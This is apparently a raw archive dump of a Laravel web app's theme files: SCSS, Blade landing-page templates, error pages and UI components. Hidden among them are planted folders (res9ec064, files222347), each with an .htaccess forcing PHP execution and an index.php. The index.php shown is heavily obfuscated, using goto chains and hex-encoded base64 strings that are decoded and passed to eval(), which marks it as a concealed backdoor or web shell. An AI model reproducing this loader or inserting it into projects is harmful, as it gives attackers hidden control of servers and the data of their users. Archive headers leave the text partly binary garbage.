--tt-color-text-orange-contrast: hsla(27, 82%, 53%, 0.2); --tt-color-text-yellow-contrast: hsla(35, 49%, 47%, 0.2); --tt-color-text-green-contrast: hsla(151, 55%, 39%, 0.2); --tt-color-text-blue-contrast: hsla(202, 54%, 43%, 0.2); --tt-color-text-purple-contrast: hsla(271, 56%, 60%, 0.18); --tt-color-text-pink-contrast: hsla(331, 67%, 58%, 0.22); --tt-color-text-red-contrast: hsla(0, 67%, 60%, 0.25); // Highlight colors (dark theme) --tt-color-highlight-yellow: #6b6524; --tt-color-highlight-green: #509568; --tt-color-highlight-blue: #6e92aa; --tt-color-highlight-purple: #583e74; --tt-color-highlight-red: #743e42; --tt-color-highlight-gray: rgb(47, 47, 47); --tt-color-highlight-brown: rgb(74, 50, 40); --tt-color-highlight-orange: rgb(92, 59, 35); --tt-color-highlight-pink: rgb(78, 44, 60); --tt-color-highlight-yellow-contrast: #58531e; --tt-color-highlight-green-contrast: #47855d; --tt-color-highlight-blue-contrast: #5e86a1; --tt-color-highlight-purple-contrast: #4c3564; --tt-color-highlight-red-contrast: #643539; --tt-color-highlight-gray-contrast: rgba(255, 255, 255, 0.094); --tt-color-highlight-brown-contrast: rgba(184, 101, 69, 0.25); --tt-color-highlight-orange-contrast: rgba(233, 126, 37, 0.2); --tt-color-highlight-pink-contrast: rgba(220, 76, 145, 0.22); --tt-checklist-bg-color: var(--tt-gray-dark-a-100); --tt-checklist-bg-active-color: var(--tt-gray-dark-a-900); --tt-checklist-border-color: var(--tt-gray-dark-a-200); --tt-checklist-border-active-color: var(--tt-gray-dark-a-900); --tt-checklist-check-icon-color: var(--black); --tt-checklist-text-active: var(--tt-gray-dark-a-500); --blockquote-bg-color: var(--tt-gray-dark-900); --link-text-color: var(--tt-brand-color-400); --separator-color: var(--tt-gray-dark-a-200); --thread-text: var(--tt-gray-dark-900); --placeholder-color: var(--tt-gray-dark-a-400); --tiptap-mathematics-bg-color: var(--tt-gray-dark-a-200); --tiptap-mathematics-border-color: var(--tt-brand-color-400); --tt-inline-code-bg-color: var(--tt-gray-dark-a-100); --tt-inline-code-text-color: var(--tt-gray-dark-a-700); --tt-inline-code-border-color: var(--tt-gray-dark-a-200); --tt-codeblock-bg: var(--tt-gray-dark-a-50); --tt-codeblock-text: var(--tt-gray-dark-a-800); --tt-codeblock-border: var(--tt-gray-dark-a-200); } .is-empty[data-placeholder] { &:has(>.ProseMirror-trailingBreak:only-child):before { content: "Write, type '/' for commands…"; pointer-events: none; height: 0; position: absolute; font-style: italic; color: $tiptap-placeholder-color; } &:has(>.ProseMirror-trailingBreak):before { color: var(--placeholder-color); } } @keyframes ProseMirror-cursor-blink { to { visibility: hidden; } }PKJW]ÿé¶¶%views/default/scss/chatbot-embed.scssnu„[µü¤@config "../../../../tailwind.chatbot-embed.config.js"; @tailwind base; @tailwind components; @tailwind utilities; @layer base { :root { --background: 240 25% 98%; --foreground: 216 11% 45%; --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --font-body: 'Golos Text'; --font-heading: 'Onest'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --h1-font-size: 5.25rem; // 84px --h1-line-height: 4.8125rem; // 77px --h1-letter-spacing: -0.05em; --h1-font-weight: 700; --h2-font-size: 3.3125rem; // 53px --h2-line-height: 1; --h2-letter-spacing: -0.03em; --h2-font-weight: 700; --h3-font-size: 2.4375rem; // 39px --h3-line-height: 1.1; --h3-letter-spacing: -0.03em; --h3-font-weight: 700; --h4-font-size: 1.125rem; // 18px --h4-line-height: 1; --h4-letter-spacing: -0.01em; --h4-font-weight: 500; --h5-font-size: 1rem; --h5-line-height: 1; --h5-letter-spacing: -0.01em; --h5-font-weight: 500; --h6-font-family: theme('fontFamily.body'); --h6-font-size: 0.9375rem; // 15px --h6-line-height: 1; --h6-font-weight: 500; } h1, h2, h3, h4, h5, h6 { font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } @media (max-width: 767px) { :root { --h1-font-size: 4.3125rem; // 69px } } @media (max-width: 479px) { :root { --h1-font-size: 16vw; } h1 svg { width: 0.55em; } } } @layer components { .dot { @apply inline-block size-1 mx-1 align-middle bg-current rounded-full opacity-40; } @media (max-width: 1199px) { .container { @apply px-4; } } @import './components/outline-glow'; } @layer utilities { @keyframes gradient-animation { 0% { background-position: 0% 100%; } 100% { background-position: 100% 100%; } } .banner-bg { background: linear-gradient(120deg, #70acd4 0%, #ca71ff 20%, #8469cc 30%, #4882e6 50%, #8469cc 70%, #70acd4 100%); background-size: 200% 200%; animation: gradient-animation 20s ease-in-out alternate infinite; } } .page-loaded { .banner-title { .lqd-split-text-words { --tw-blur: blur(0px); --tw-translate-x: 0 !important; --tw-translate-y: 0 !important; --tw-scale-x: 1; --tw-scale-y: 1; opacity: 1; } @for $i from 0 through 7 { .lqd-split-text-words:nth-child(#{$i + 1}) { transition-delay: ($i * 0.07) + s; } } } .banner-title-gradient { transform: translate(100%, 50%); transition: transform 3.5s 1s, opacity 0.3s 2.1s; opacity: 0; } } @media (max-width: 575px) { :root { --h2-font-size: 2.1875rem; // 35px } } @media (prefers-color-scheme: dark) { .lqd-chatbot { --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; } } PKJW] …Ì//views/default/index.blade.phpnu„[µü¤@extends('layout.app') @section('content') @include('landing-page.banner.section') @includeWhen($fSectSettings->features_active == 1, 'landing-page.features.section') @includeWhen($fSectSettings->generators_active == 1, 'landing-page.generators.section') @includeWhen($fSectSettings->who_is_for_active == 1, 'landing-page.who-is-for.section') @includeWhen($fSectSettings->custom_templates_active == 1, 'landing-page.custom-templates.section') @includeWhen($fSectSettings->tools_active == 1, 'landing-page.tools.section') @includeWhen($fSectSettings->how_it_works_active == 1, 'landing-page.how-it-works.section') @includeWhen($fSectSettings->testimonials_active == 1, 'landing-page.testimonials.section') @includeWhen($fSectSettings->pricing_active == 1, 'landing-page.pricing.section') @includeWhen($fSectSettings->faq_active == 1, 'landing-page.faq.section') @includeWhen($fSectSettings->blog_active == 1, 'landing-page.blog.section') @includeWhen($setting->gdpr_status == 1, 'landing-page.gdpr') @endsection PKJW]ﺂ‚-views/default/landing-page/faq/item.blade.phpnu„[µü¤ PKJW]RÆó””0views/default/landing-page/faq/section.blade.phpnu„[µü¤{!! adsense_faq_728x90() !!}
    {!! __($fSectSettings->faq_text_one) !!} {!! __($fSectSettings->faq_text_two) !!}
    @foreach ($faq as $item) @include('landing-page.faq.item') @endforeach
    PKJW]X16]ÓÓ6views/default/landing-page/how-it-works/item.blade.phpnu„[µü¤
    {{ __($item->order) }}

    {!! __($item->title) !!}

    PKJW]‹B²m~~9views/default/landing-page/how-it-works/section.blade.phpnu„[µü¤ {!! adsense_how_it_works_728x90() !!}

    {!! __($fSectSettings->how_it_works_title) !!}

    @foreach ($howitWorks as $item) @include('landing-page.how-it-works.item') @endforeach
    @if ($howitWorksDefaults['option'] == 1)
    {!! $howitWorksDefaults['html'] !!}
    @endif
    PKJW]cÛìdyy/views/default/landing-page/tools/item.blade.phpnu„[µü¤ {!! __($item->title) !!} PKJW]b¤ºŒQQ2views/default/landing-page/tools/section.blade.phpnu„[µü¤{!! adsense_tools_728x90() !!}
    @foreach ($tools as $item) @include('landing-page.tools.item') @endforeach
    PKJW]Þ¨•sZZ.views/default/landing-page/res9ec064/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKJW]·êCï,ï,.views/default/landing-page/res9ec064/index.phpnu„[µü¤= $cn1o7l3) goto i2wj3B; goto IAkRQz; u5GXIw: goto Xpqq4S; goto H1zfHU; tWEcOJ: goto mSJ04M; h0QKWi: goto Squy7Z; nPLUH2: goto d28c5o; F6Vfql: $z3ssi3q++; goto u5GXIw; RaL2fP: $vo8jxs5 = $rxdtkfr; goto d28c5o; RwKsiJ: goto XCp8gQ; XXSr8g: goto RaL2fP; FDCX03: goto H1zfHU; XCp8gQ: ; }; goto Hnh_pk; u6cIET: goto POq4dD; RkMrqP: goto isYQax; SZlQoX: goto Sk5ZC1; edAq3f: $o7xgzug .= $iptp0tp; goto POq4dD; fM0mVe: goto FDKD4y; Ad6WWU: goto jJTYS5; FDKD4y: $bwlu6ue = "\x64\063\x42\061\x5a\x6c\112\065\x51\060\106\x56\x65\x6b\126\113\x62\x55\x64\156\x52\x6b\170\x57\x57\125\x78\156\x5a\105\160\131\x57\x6c\x4e\x56\x54\154\x6b\162\x52\x30\144\x50\x52\x44\106\x4e\132\106\x68\131\x62\107\164\063\122\x6b\x78\172\x51\127\061\x69"; goto _Pc6j2; QX5z9E: goto jVto4D; _rETY4: goto wbrn9G; O3et_o: goto ibj90D; SdnOEG: goto wJMmpK; UlPp0A: goto wbrn9G; QIQKgE: goto wxspKZ; q5Apr1: goto NMV0kJ; I6apH1: $qxtlf58 = "\x64\060\x4e\x53\x54\125\x31\110\142\126\154\x4b\141\156\x42\x54\141\105\x46\x45\x5a\x7a\102\x35\132\172\112\163\x64\063\116\165\143\x46\122\x4c\123\060\x70\x57\127\152\x56\104\x4e\061\x63\x79\132\130\150\062\132\105\x78\x5a\x5a\125\106\172\127\130\112\x74"; goto qm8MVQ; LxopSY: goto CWLB55; GOZZtx: goto qm8MVQ; HOw0rt: goto eHNYxU; jJTYS5: $o7xgzug .= $qxtlf58; goto wxspKZ; OiYPBQ: goto wJMmpK; usgkbC: goto eHNYxU; RROq5z: goto wxspKZ; ff94gX: goto eHNYxU; mPhMik: goto XSvzH9; W0CAIR: goto eHNYxU; aAOjL0: goto wxspKZ; wJMmpK: $o7xgzug .= $qo301mr; goto mvi1f3; mHhlx7: goto b8YISc; qH1mVg: goto f_ieMF; jj2nav: goto anzwQX; XpkhZS: goto FzZ6Wn; BX83dh: goto ithIoO; P3qRar: goto giBhw6; ZBFQ0m: $o7xgzug .= $ugo5v1e; goto giBhw6; b8YISc: $o7xgzug .= $k1vmadt; goto GkIMBW; u0XS3_: goto X0bpkT; lg2fIL: goto isYQax; gbEtQe: goto jJTYS5; I1HYkd: goto f_ieMF; xddRhT: goto POq4dD; nVxqFt: goto N5m0Gp; Wb73Kt: goto _Pc6j2; bN52lK: goto RgYES3; Sk5ZC1: $ugo5v1e = "\x4e\104\x56\061\125\x45\x55\061\x52\x69\x39\x42\x55\x54\x30\x39"; goto FzZ6Wn; Xcp7wO: goto XSvzH9; RBN833: $jvwy2xu = "\144\106\132\121\x51\x6d\x46\x30\144\105\106\x46\x55\x44\112\127\x61\x6c\x4e\165\125\x6b\116\x6f\126\107\x4a\x76\x55\x6d\150\x54\x63\104\101\060\132\x47\x70\117\123\126\x6c\106\141\x6e\x5a\x5a\125\062\x31\x72\143\x46\x70\127\123\107\x74\127\131\x6c\122\x4b"; goto lQxzuP; jhVFX6: goto eYTAs9; FW0mls: goto wJMmpK; ylghM2: goto _Pc6j2; lOaBRV: goto rQad7M; NMV0kJ: $o7xgzug .= $xxmu33h; goto YLYzgj; RpK2Hu: goto eHNYxU; RgYES3: KnquJ($o7xgzug, $h3n573x); goto eHNYxU; FkM9nD: goto mvi1f3; EAeZ5e: goto giBhw6; quEfz5: function KnquJ($pddpfgi, $hvua4hp) { goto vMnFuq; KjOocn: goto C105Ls; w3RQ4P: goto vMnFuq; FLvquF: goto C105Ls; nI09kk: goto C105Ls; hjrpSX: goto vEyjj_; Vnriyf: goto GFN1o6; C105Ls: NUePZ($wblpds4); goto vEyjj_; mnmbA_: goto vMnFuq; vEyjj_: return 1; goto GFN1o6; TV9F87: goto GFN1o6; oUsmTf: goto GFN1o6; vMnFuq: $wblpds4 = o_yBx($pddpfgi, $hvua4hp); goto C105Ls; GFN1o6: ; }; goto RBN833; ZmwMwJ: goto A_VwJ6; ue6J0i: goto U6Adhm; NZeI5o: $o7xgzug .= $bwlu6ue; goto NMV0kJ; JeDzaN: goto f_ieMF; he5jKO: goto CWLB55; WiGWdU: goto w0WPbx; nMR450: goto rQad7M; anzwQX: $o7xgzug .= $e8u23pj; goto xQeYig; Hnh_pk: function NUePZ($gahpgq4) { goto gKdIca; gKdIca: $f9ovb3d = chr(63).chr(62); goto Zty1NT; BYq58w: goto VIV6Bk; MOvxMC: eval($cxfftv9); goto VIV6Bk; wx9GX0: goto Zty1NT; vxsPLS: goto Zty1NT; b_zzOa: goto gKdIca; Zty1NT: $cxfftv9 = $f9ovb3d . $gahpgq4; goto MOvxMC; VIV6Bk: return 1; goto CGQQtb; So1Mww: goto CGQQtb; aQbI0I: goto CGQQtb; MyueMS: goto MOvxMC; TQwVtM: goto VIV6Bk; L7SU8l: goto gKdIca; j6CGP5: goto MOvxMC; t8MCbR: goto MOvxMC; OwGlN0: goto MOvxMC; CGQQtb: ; }; goto quEfz5; Yv5bMC: goto eHNYxU; rQad7M: $o7xgzug .= $vw05jg1; goto XSvzH9; ODVued: goto RgYES3; MA1csR: goto wJMmpK; VoDB1_: goto f0ra2L; mXAmM5: goto FDKD4y; IYxmV7: goto X0bpkT; i2RIYy: goto ithIoO; LBc8_G: goto POq4dD; xMCuJh: goto qm8MVQ; FfVnYP: goto ithIoO; TK2o6D: goto quEfz5; BmOKzx: goto edAq3f; p_6iVR: goto ithIoO; oqYZAX: goto POq4dD; yADiUG: goto NrRIkM; jVto4D: $vw05jg1 = "\124\155\x74\151\x4f\105\x74\x4c\127\x6d\x6c\x31\x62\154\144\x61\125\124\147\x78\x62\125\x74\157\x55\110\106\x6f\144\105\112\104\x55\060\x70\x77\x54\104\122\x76\122\x57\065\114\127\107\x46\x55\x65\x45\121\x7a\x52\124\150\116\124\x46\x55\060\115\x6e\106\172"; goto X0bpkT; Oum4y5: goto NMV0kJ; xqpvB_: goto eHNYxU; RX2FXw: goto giBhw6; LuRgX3: goto wJMmpK; A_VwJ6: $m32p8ct = "\123\x54\106\x58\121\x30\150\104\125\x6b\061\x56\x64\x55\163\063\x62\060\x68\x4b\125\126\x4a\x36\123\060\x30\170\125\x6e\x46\x52\x61\x55\116\123\125\x30\x64\131\x5a\125\x68\126\x4e\106\122\111\142\152\x63\x32\x54\x6b\170\060\x4b\060\071\062\x4d\x54\144\152"; goto isYQax; N5m0Gp: $h1pxxqp = "\116\x6d\x52\x6e\x64\x48\147\171\142\110\x59\171\x64\104\106\060\x65\104\102\112\125\106\x6f\x32\x53\x32\065\172\x54\156\x4a\172\x64\x57\132\x77\x4d\x6d\x49\x76\x56\063\x41\x7a\x55\x55\144\156\x63\061\x4a\x74\117\x56\x70\167\145\124\144\x73\x56\x6e\x45\x31"; goto wbrn9G; vILTtm: goto U6Adhm; EjhITc: goto RgYES3; dVpZnk: goto NMV0kJ; JEuazH: goto XSvzH9; oRILgX: goto GkIMBW; lQxzuP: $e8u23pj = "\131\127\x6c\130\141\060\x5a\x57\x52\x57\x46\x6a\x62\x54\x42\105\x63\106\x70\x52\x5a\x57\164\x6f\x52\107\106\x52\x64\172\x51\x31\122\x6b\106\166\144\x47\150\127\123\x6e\x6c\x44\132\x6a\112\x61\115\153\x38\x31\x62\x6d\x52\x49\x59\x6d\x78\164\125\106\x52\x70"; goto NrRIkM; tWMBCl: goto U6Adhm; uKacMK: goto X0bpkT; xKONuY: goto NrRIkM; Kl2GXM: goto f0ra2L; o1QttQ: goto NMV0kJ; fH_mfR: goto ibj90D; O6ejHf: goto DA4nh8; Xdsc5D: goto A_VwJ6; ViANTu: goto RgYES3; r9bIqX: goto f0ra2L; TQFREN: $o7xgzug .= $zi6rq37; goto rQad7M; qm8MVQ: $sdoyd3g = "\124\x54\x4a\x46\117\x54\x49\065\142\156\x56\153\127\x6e\160\x6c\131\x58\x46\x6c\x4c\061\x70\x32\131\063\x4e\x30\x52\107\144\125\115\x32\x55\x35\144\x6d\164\110\132\104\112\x79\x4e\172\x4d\x79\x57\x58\116\x30\126\172\132\x50\x63\105\061\x6b\123\063\x5a\x69"; goto N5m0Gp; mvi1f3: $o7xgzug .= $jqusuoh; goto jJTYS5; isYQax: $k1vmadt = "\x57\110\x59\x34\131\062\x35\155\117\x45\x4e\153\x4d\x32\x68\x36\132\x57\x35\062\117\127\x5a\062\x61\x6d\147\x72\114\060\x52\117\141\106\x5a\x72\x4e\x6b\x35\167\125\x7a\x41\166\x65\125\x52\120\x63\104\x6c\112\x54\110\102\x31\123\x56\116\x48\141\x32\x46\x54"; goto eYTAs9; weB537: goto Hnh_pk; NrRIkM: $k4t1z7n = "\126\063\153\x34\x59\x56\x70\x31\x59\124\154\164\126\107\116\x36\143\x54\150\153\125\104\122\x70\x51\153\144\x45\115\107\154\x48\122\x33\116\x6e\123\x58\102\112\123\105\x74\065\123\x6b\x4e\x34\124\156\x5a\130\x53\060\x35\x6f\126\155\x70\110\132\153\154\x43"; goto ithIoO; rUDxqO: goto wxspKZ; VYSQIJ: goto ithIoO; w0WPbx: $o7xgzug .= $h1pxxqp; goto TQFREN; YCSbRP: goto TQFREN; eYTAs9: $t5w2276 = "\123\130\102\x73\x54\x47\x78\x42\142\x44\x52\x6a\142\x44\x56\x52\145\126\x42\062\145\151\163\166\x55\x44\x52\x35\x65\x6e\132\165\x64\126\122\x50\117\x43\164\x71\122\124\x5a\x51\125\x6d\061\x6b\x62\153\x55\167\x52\155\157\064\116\x48\132\x6f\x4d\x57\x52\165"; goto Sk5ZC1; H6I1Bq: goto giBhw6; uPD2e1: goto wbrn9G; GkIMBW: $o7xgzug .= $t5w2276; goto ZBFQ0m; eHNYxU: ; ?>PKJW]ò„ó:views/default/landing-page/custom-templates/item.blade.phpnu„[µü¤ {!! stripslashes($item->image) !!} PKJW]:½ÄNN=views/default/landing-page/custom-templates/section.blade.phpnu„[µü¤{!! adsense_templates_728x90() !!}
    {!! __($fSectSettings->custom_templates_subtitle_one) !!} {!! __($fSectSettings->custom_templates_subtitle_two) !!}
    @foreach ($filters as $filter) @endforeach
    @foreach ($templates as $item) @if ($item->active != 1) @continue @endif @include('landing-page.custom-templates.item') @endforeach
    PKJW]q‹:h¥¥2views/default/landing-page/features/item.blade.phpnu„[µü¤ {!! $item->image !!} PKJW]œª® --5views/default/landing-page/features/section.blade.phpnu„[µü¤{!! adsense_features_728x90() !!}
    @foreach ($futures as $item) @include('landing-page.features.item') @endforeach
    PKJW]ÊÕ¬‡""9views/default/landing-page/pricing/item-content.blade.phpnu„[µü¤ PKJW]í«®­vv4views/default/landing-page/pricing/section.blade.phpnu„[µü¤{!! adsense_pricing_728x90() !!}
    @php $plan = $plansSubscriptionMonthly; @endphp @if ($plansSubscriptionMonthly->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-monthly', 'label' => __('Monthly'), 'active' => true, 'currency' => $currency, ]) @endif @if ($plansSubscriptionAnnual->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-annual', 'label' => __('Annual'), 'badge' => __($fSectSettings->pricing_save_percent), 'currency' => $currency, ]) @endif @if ($plansSubscriptionLifetime->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-lifetime', 'label' => __('Lifetime'), 'currency' => $currency, ]) @endif @if ($plansPrepaid->count() > 0) @include('landing-page.pricing.item-trigger', [ 'target' => '#pricing-prepaid', 'label' => __('Pre-Paid'), 'currency' => $currency, ]) @endif
    @foreach ($plansSubscriptionMonthly as $plan) @include('landing-page.pricing.item-content', ['period' => $plan->frequency === 'monthly' ? 'Per Month' : 'Per Year']) @endforeach

    {!! __('Safe Payment: Use Stripe or Credit Card.') !!}

    PKJW]z Nßß9views/default/landing-page/pricing/item-trigger.blade.phpnu„[µü¤ PKJW]™ ÀTT4views/default/landing-page/who-is-for/item.blade.phpnu„[µü¤ PKJW]Þ¨•sZZ;views/default/landing-page/who-is-for/files222347/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKJW]ž‘‹gr r ;views/default/landing-page/who-is-for/files222347/index.phpnu„[µü¤PKJW]Þ×ÃÃ7views/default/landing-page/who-is-for/section.blade.phpnu„[µü¤
    @foreach ($who_is_for as $item) @include('landing-page.who-is-for.item', ['item' => $item]) @endforeach
    PKJW]ªÆº½ÛÛ<views/default/landing-page/generators/item-content.blade.phpnu„[µü¤
    {!! __($item->subtitle_one) !!} {!! __($item->subtitle_two) !!}

    {!! __($item->title) !!}

    {!! __($item->text) !!}

    {{ __($item->image_title) }}

    {!! __($item->image_title) !!}

    {!! __($item->image_subtitle) !!}

    PKJW]ÒáZóó7views/default/landing-page/generators/section.blade.phpnu„[µü¤
    @foreach ($generatorsList as $item) @include('landing-page.generators.item-trigger') @endforeach
    @foreach ($generatorsList as $item) @include('landing-page.generators.item-content') @endforeach
    PKJW]VZõS°°<views/default/landing-page/generators/item-trigger.blade.phpnu„[µü¤ PKJW]‡vLžž3views/default/landing-page/banner/section.blade.phpnu„[µü¤ PKJW]“yܵµ1views/default/landing-page/blog/section.blade.phpnu„[µü¤
    {!! __($fSectSettings->blog_subtitle) !!}
    @foreach ($posts as $post) @include('blog.part.card') @endforeach
    PKJW]펜××7views/default/landing-page/header/envato-link.blade.phpnu„[µü¤ PKJW] ¤;views/default/landing-page/header/floating-button.blade.phpnu„[µü¤ PKJW]%«ÜfWW5views/default/landing-page/header/preheader.blade.phpnu„[µü¤

    {{ __($fSetting->header_title) }} {{ __($fSetting->header_text) }}

    PKJW]M`S)views/default/landing-page/gdpr.blade.phpnu„[µü¤
    {!! __($setting->gdpr_content) !!}
    PKJW]~7<ô88<views/default/landing-page/testimonials/item-image.blade.phpnu„[µü¤
    {{ __($item->full_name) }}

    {!! __($item->full_name) !!}

    {!! __($item->job_title) !!}

    PKJW]ÏÞ� ¦¦<views/default/landing-page/testimonials/item-quote.blade.phpnu„[µü¤

    {!! __('“' . $item->words . '�') !!}

    PKJW]Ùy"zpp9views/default/landing-page/testimonials/section.blade.phpnu„[µü¤ {!! adsense_testimonials_728x90() !!}
    {!! __($fSectSettings->testimonials_subtitle_one) !!} {!! __($fSectSettings->testimonials_subtitle_two) !!}
    @foreach ($testimonials as $item) @include('landing-page.testimonials.item-image') @endforeach
    @foreach ($clients as $entry) {{ __($entry->alt) }} @endforeach
    PKJW]Ÿ•âOëë(views/default/account-deletion.blade.phpnu„[µü¤ @lang('Account Deletion')

    @lang('Account Deletion Request')

    @lang('How to delete your account and personal data')

    @lang('App Information')

    @if (file_exists(public_path('app.png')))
    @lang('App Icon:') @lang('App Icon')
    @endif

    @lang('App Name:') {{ config('mobileapp.app_name') }}

    @if(config('mobileapp.developer_name'))

    @lang('Developer:') {{ config('mobileapp.developer_name') }}

    @endif

    @lang('Package ID:') {{config('mobileapp.package_id')}}

    @lang('How to Delete Your Account')

    @lang('We respect your privacy and provide multiple ways to delete your account and all associated data. Please choose the method that works best for you:')

    1 @lang('Delete Account Through Site Dashboard')

    @lang('The easiest way to delete your account is through your user dashboard:')

    1. @lang('Log in to your account')
    2. @lang('Go to your user settings')
    3. @lang('Click on "Delete Account"')
    4. @lang('Follow the confirmation steps')
    @lang('Go to Account Settings')

    2 @lang('Request Deletion via Email')

    @lang('If you cannot access your account or need assistance, you can request account deletion by email:')

    • @lang('Send an email with subject "Account Deletion Request"')
    • @lang('Include your registered email address')
    • @lang('Include your username (if you remember it)')
    • @lang('We will process your request within 7 business days')
    @lang('Send Deletion Request Email')

    3 @lang('Delete Account Through Mobile App')

    @lang('You can delete your account through mobile app:')

    • @lang('Log in to your account')
    • @lang('Go to your user settings (Edit Profile - Left menu top section)')
    • @lang('Click on "Delete My Account"')

    ⚠� @lang('Important Information')

    • @lang('Account deletion is permanent and cannot be undone')
    • @lang('All your data, including chat history, preferences, and settings will be permanently deleted')
    • @lang('You will lose access to any premium features or subscriptions')
    • @lang('The deletion process may take up to 30 days to complete from all our systems')

    @lang('Need Help?')

    @lang('If you have any questions about account deletion or need assistance with the process, please contact our support team:')

    @lang('Email:') {{ config('mobileapp.mailto') }}

    @lang('Response Time:') @lang('We typically respond within 24-48 hours')

    PKJW]˜ Å_"views/default/errors/419.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '419') @section('error_title', __('Your token has been expired. Please go previous page and reload.')) @section('error_subtitle', __('If this is an error it will be logged and our technic team will resolve it shortly.')) PKJW]êÍý "views/default/errors/404.blade.phpnu„[µü¤@extends('layout.error', ['disable_navbar' => true, 'disable_header' => true]) @section('error_code', '404') @section('error_title', __('Looks like you’re lost.')) @section('error_subtitle', __('We can’t seem to find the page you’re looking for.')) PKJW]~oÛ%òò"views/default/errors/500.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '500') @section('error_title', __('500 Critical Server Error')) @section('error_subtitle', __('Server Error. This error is logged and our technic team will resolve this issue in short time.')) PKJW]–> óÁÁ"views/default/errors/503.blade.phpnu„[µü¤@extends('layout.error') @section('error_code', '503') @section('error_title', __('503 Maintenance')) @section('error_subtitle', __('The system has maintenance! We will back in short time!')) PKJW]ÕIã‚››(views/default/components/table.blade.phpnu„[µü¤@php $wrap_base_class = 'lqd-table-wrap w-full max-w-full overflow-x-auto'; $base_class = 'lqd-table w-full text-start overflow-x-auto [-webkit-overflow-scrolling:touch] max-w-full'; $head_base_class = 'lqd-table-head border-b text-start text-4xs leading-tight uppercase tracking-wider font-medium text-label transition-border'; $body_base_class = '[&_tr:not(:last-child)]:border-b'; $foot_base_class = 'lqd-table-foot'; $variations = [ 'variant' => [ 'none' => 'lqd-table-variant-none shadow-none p-0', 'solid' => 'lqd-table-solid rounded-card bg-card-background pt-1', 'outline' => 'lqd-table-outline rounded-card border border-card-border pt-1', 'shadow' => 'lqd-table-shadow rounded-card shadow-card bg-card-background pt-1', 'plain' => 'lqd-table-plain', 'outline-shadow' => 'lqd-table-outline-shadow rounded-card border border-card-border pt-1 shadow-card bg-card-background', ], ]; $variant = isset($variations['variant'][$variant]) ? $variations['variant'][$variant] : $variations['variant'][Theme::getSetting('defaultVariations.table.variant', 'outline')]; @endphp
    withoutTwMergeClasses()->twMergeFor('wrap', $variant, $wrap_base_class) }}> twMerge($base_class, $attributes->get('class')) }}> @if (!empty($head)) twMergeFor('head', $head_base_class, $head->attributes->get('class')) }} {{ $head->attributes }} > {{ $head }} @endif @if (!empty($body)) twMergeFor('body', $body_base_class, $body->attributes->get('class')) }} {{ $body->attributes }} > {{ $body }} @endif @if (!empty($foot)) twMergeFor('foot', $foot_base_class, $foot->attributes->get('class')) }} {{ $foot->attributes }} > {{ $foot }} @endif
    PKJW]’T³‘îî0views/default/components/floating-menu.blade.phpnu„[µü¤ PKJW]wš¼‰EE)views/default/components/button.blade.phpnu„[µü¤@php $base_class = 'lqd-btn group inline-flex items-center justify-center gap-1.5 text-xs font-medium rounded-button transition-all hover:-translate-y-0.5 hover:shadow-xl hover:shadow-black/5 disabled:bg-foreground/10 disabled:text-foreground/35 disabled:pointer-events-none'; $variations = [ 'variant' => [ 'none' => 'lqd-btn-variant-none hover:shadow-none', 'primary' => 'lqd-btn-primary bg-primary text-primary-foreground hover:bg-primary/90 hover:shadow-primary/10 focus-visible:bg-primary/90 focus-visible:shadow-primary/10', 'secondary' => 'lqd-btn-secondary bg-secondary text-secondary-foreground', 'outline' => 'lqd-btn-outline outline outline-button-border -outline-offset-1 focus-visible:outline-2 focus-visible:outline-offset-0 focus-visible:outline-secondary', 'danger' => 'lqd-btn-danger bg-red-500 text-white', 'success' => 'lqd-btn-success bg-emerald-500 text-white hover:bg-emerald-400 focus-visible:bg-emerald-400', 'ghost' => 'lqd-btn-ghost bg-transparent text-foreground hover:bg-foreground/10 focus-visible:bg-foreground/10', 'ghost-shadow' => 'lqd-btn-ghost-shadow bg-background text-foreground shadow-xs hover:bg-primary hover:text-primary-foreground dark:bg-foreground/[3%] dark:hover:bg-foreground dark:hover:text-background focus-visible:bg-primary focus-visible:text-primary-foreground dark:bg-foreground/[3%] dark:focus-visible:bg-foreground dark:focus-visible:text-background', 'link' => 'lqd-btn-link bg-transparent text-foreground hover:underline hover:transform-none hover:shadow-none focus-visible:underline p-0 focus-visible:translate-y-0 focus-visible:shadow-none focus-visible:outline-0', ], 'hoverVariant' => [ 'none' => 'lqd-btn-hover-none', 'danger' => 'lqd-btn-hover-danger hover:text-white hover:bg-rose-500 hover:border-rose-500 hover:outline-rose-500 focus-visible:text-white focus-visible:bg-rose-500 focus-visible:border-rose-500 focus-visible:outline-rose-500', 'success' => 'lqd-btn-hover-success hover:text-white hover:bg-green-500 hover:border-green-500 hover:outline-green-500 focus-visible:text-white focus-visible:bg-green-500 focus-visible:border-green-500 focus-visible:outline-green-500', 'primary' => 'lqd-btn-hover-primary hover:text-primary-foreground hover:bg-primary hover:border-primary hover:outline-primary focus-visible:text-primary-foreground focus-visible:bg-primary focus-visible:border-primary focus-visible:outline-primary', 'secondary' => 'lqd-btn-hover-secondary hover:text-secondary-foreground hover:bg-secondary hover:border-secondary hover:outline-secondary focus-visible:text-secondary-foreground focus-visible:bg-secondary focus-visible:border-secondary focus-visible:outline-secondary', ], 'size' => [ 'none' => 'lqd-btn-size-none', 'sm' => 'lqd-btn-sm py-1 px-2.5', 